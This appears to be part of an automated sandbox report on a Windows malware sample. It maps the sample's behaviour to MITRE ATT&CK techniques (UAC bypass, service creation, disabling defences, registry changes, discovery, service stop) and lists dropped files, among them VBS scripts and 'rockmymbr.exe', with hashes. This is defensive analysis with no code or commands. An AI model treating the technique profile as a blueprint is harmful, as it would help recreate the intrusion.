                                                                                                                                              T1546

                                                                                                                                              Accessibility Features

                                                                                                                                              1
                                                                                                                                              T1546.008

                                                                                                                                              Privilege Escalation

                                                                                                                                              Abuse Elevation Control Mechanism

                                                                                                                                              1
                                                                                                                                              T1548

                                                                                                                                              Bypass User Account Control

                                                                                                                                              1
                                                                                                                                              T1548.002

                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                              1
                                                                                                                                              T1547

                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                              1
                                                                                                                                              T1547.001

                                                                                                                                              Create or Modify System Process

                                                                                                                                              6
                                                                                                                                              T1543

                                                                                                                                              Windows Service

                                                                                                                                              6
                                                                                                                                              T1543.003

                                                                                                                                              Event Triggered Execution

                                                                                                                                              1
                                                                                                                                              T1546

                                                                                                                                              Accessibility Features

                                                                                                                                              1
                                                                                                                                              T1546.008

                                                                                                                                              Defense Evasion

                                                                                                                                              Abuse Elevation Control Mechanism

                                                                                                                                              1
                                                                                                                                              T1548

                                                                                                                                              Bypass User Account Control

                                                                                                                                              1
                                                                                                                                              T1548.002

                                                                                                                                              File and Directory Permissions Modification

                                                                                                                                              2
                                                                                                                                              T1222

                                                                                                                                              Windows File and Directory Permissions Modification

                                                                                                                                              1
                                                                                                                                              T1222.001

                                                                                                                                              Impair Defenses

                                                                                                                                              6
                                                                                                                                              T1562

                                                                                                                                              Disable or Modify Tools

                                                                                                                                              5
                                                                                                                                              T1562.001

                                                                                                                                              Modify Registry

                                                                                                                                              10
                                                                                                                                              T1112

                                                                                                                                              Credential Access

                                                                                                                                              Discovery

                                                                                                                                              Peripheral Device Discovery

                                                                                                                                              1
                                                                                                                                              T1120

                                                                                                                                              Query Registry

                                                                                                                                              3
                                                                                                                                              T1012

                                                                                                                                              System Information Discovery

                                                                                                                                              3
                                                                                                                                              T1082

                                                                                                                                              System Location Discovery

                                                                                                                                              1
                                                                                                                                              T1614

                                                                                                                                              System Language Discovery

                                                                                                                                              1
                                                                                                                                              T1614.001

                                                                                                                                              Lateral Movement

                                                                                                                                              Collection

                                                                                                                                              Command and Control

                                                                                                                                              Exfiltration

                                                                                                                                              Impact

                                                                                                                                              Service Stop

                                                                                                                                              1
                                                                                                                                              T1489

                                                                                                                                              Replay Monitor

                                                                                                                                              Loading Replay Monitor...

                                                                                                                                              Downloads

                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\A1CE.tmp\A1CF.tmp\A1D0.bat
                                                                                                                                                Filesize

                                                                                                                                                33KB

                                                                                                                                                MD5

                                                                                                                                                bf999baaab45d2dd7bcbadc814ddfa43

                                                                                                                                                SHA1

                                                                                                                                                537561ccd4e1b0db76327de87bcc0e727f1706e4

                                                                                                                                                SHA256

                                                                                                                                                c23e312bde42671840d18fb680783934cd55e9d2dc33f6d17160008d9cdc1f46

                                                                                                                                                SHA512

                                                                                                                                                aabd4332f97a2aa12a793ed80d97d40cfb5847aed481af8a1bdea3e4183e25aef835826dbb8c1b87cf7b32a01399da7c9d2a2ef38618bbb7a1094766c1b4bd23

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\bozo.vbs
                                                                                                                                                Filesize

                                                                                                                                                30B

                                                                                                                                                MD5

                                                                                                                                                d27d188b754dc627abe654780e0874fd

                                                                                                                                                SHA1

                                                                                                                                                52d2fc17043ca09f9367ebd63857a92e3a331474

                                                                                                                                                SHA256

                                                                                                                                                c7ff1d74f1b77c94ae367fc2e2a27ec22babee4fb5bed52880055b86782f6cd9

                                                                                                                                                SHA512

                                                                                                                                                3ae8e5845157fa2961921ed553a2867d05ef93bc3845b2bafb379c9a20fc00fc52c9c220e1d5a385f27b2e11d178241e63f873c756d383a5f0cb212f22ee3fd1

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\bozo2.vbs
                                                                                                                                                Filesize

                                                                                                                                                29B

                                                                                                                                                MD5

                                                                                                                                                a83379f84c034f1431b9296dd3721c37

                                                                                                                                                SHA1

                                                                                                                                                afc3707008b6c3beae1b9affba1234c08e69988b

                                                                                                                                                SHA256

                                                                                                                                                bf3b2563e3f7c36e433188a795902dc863d25f65556c0546d4309381da9b5257

                                                                                                                                                SHA512

                                                                                                                                                1f6c33a4147241c0c150dfd58167dc41f2aab2b7881809229f98aeddc88e9bc8b7581f03c5338cae380759a0c5c411d5ac9cead8736eaf30627abff70a1482d1

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\bozo3.vbs
                                                                                                                                                Filesize

                                                                                                                                                29B

                                                                                                                                                MD5

                                                                                                                                                7de7fbe9179a7e238491fc0c8fe273a1

                                                                                                                                                SHA1

                                                                                                                                                83d140e99e42b155f2536c4c5ca7743b34b0681f

                                                                                                                                                SHA256

                                                                                                                                                161b01354a97f1ae7def8d1943475b9c47dcce99145d1b030e2233c433541adc

                                                                                                                                                SHA512

                                                                                                                                                0fa4223e72ae9f3fc41cbf211aea3dd521eef96812ad4ccb4e4b2ee897eebdab751979f1f5f9dc3e8d12d0cede637f2435ec2e915b6d7fbb58503e584310016f

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\bozo4.vbs
                                                                                                                                                Filesize

                                                                                                                                                31B

                                                                                                                                                MD5

                                                                                                                                                441dbcc919e557b984446deb4e417c24

                                                                                                                                                SHA1

                                                                                                                                                5427af3c4db55274eae5a18bd5baa9332c3653d2

                                                                                                                                                SHA256

                                                                                                                                                3a9a8dece6ba15eae92f2757cd380fabbb72da1ff00f25d3d4609555fc26d4a6

                                                                                                                                                SHA512

                                                                                                                                                a28d5efc6328a1cd4e4e5358c4a33b309fd9d329bfdfcfeb71f40b40256a55eb77171838a72df91be235c18c6400c72a700d05326f4539132b5066bbba889dec

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\bozo5.vbs
                                                                                                                                                Filesize

                                                                                                                                                29B

                                                                                                                                                MD5

                                                                                                                                                48961976bcea5b788d7450a995b1ae7a

                                                                                                                                                SHA1

                                                                                                                                                791aba5ef266dbc2f59f010d28242567b4a58d71

                                                                                                                                                SHA256

                                                                                                                                                89a03243c9068d86087de285582e4578556fe496f0f7e6dc9de5797784886b0d

                                                                                                                                                SHA512

                                                                                                                                                fc277d4d31b78209b7b98a9b6a14515c023890e58f0c387db218ab33629f07f1a5e013f0c3323b34e605c195d2d9c65e0c9a9fcffce5be4837a7938e4784e519

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\player.vbs
                                                                                                                                                Filesize

                                                                                                                                                44B

                                                                                                                                                MD5

                                                                                                                                                4e884e9c77af1bbbc522649244e393e0

                                                                                                                                                SHA1

                                                                                                                                                fd20e36563ccb1e2d278fd9637839f2eb1bc98fb

                                                                                                                                                SHA256

                                                                                                                                                b675eb022ee5334945ed0f90a4a960cff29ab721e19e2cb74ce39f543c73813c

                                                                                                                                                SHA512

                                                                                                                                                31f5718b060f0e2037ac12b5fa2755bd7de935bbdfed19c4c23cbd4c12567c46219dbf88e3ee63056cf0aa0ac1d248b6ceb21010584c9121bbdce730a2718291

                                                                                                                                                Download Submit

                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\rockmymbr.exe
                                                                                                                                                Filesize

                                                                                                                                                77KB

                                                                                                                                                MD5

                                                                                                                                                59873b6fbb4ea3a1d3b57bd969fd08e2

                                                                                                                                                SHA1

                                                                                                                                                8978d494cf2d92ed3ab4d957550392665bdae5f1

                                                                                                                                                SHA256

                                                                                                                                                f944ddf5b77d51de56b566b88a6abe3875ebba93fc5671c33e92108fe779cf97

                                                                                                                                                SHA512

                                                                                                                                                79178c4bbee68127d18a68621876f181803f82683b92945f8afa52a773a5aa3f0c13ddeeef2678c89595460940f3c0324d47bb651ba5ee021b2a973e7a83f684

                                                                                                                                                Download Submit

                                                                                                                                              • memory/5772-107-0x000000001D250000-0x000000001D736000-memory.dmp

                                                                                                                                                Filesize

                                                                                                                                                4.9MB

                                                                                                                                                Download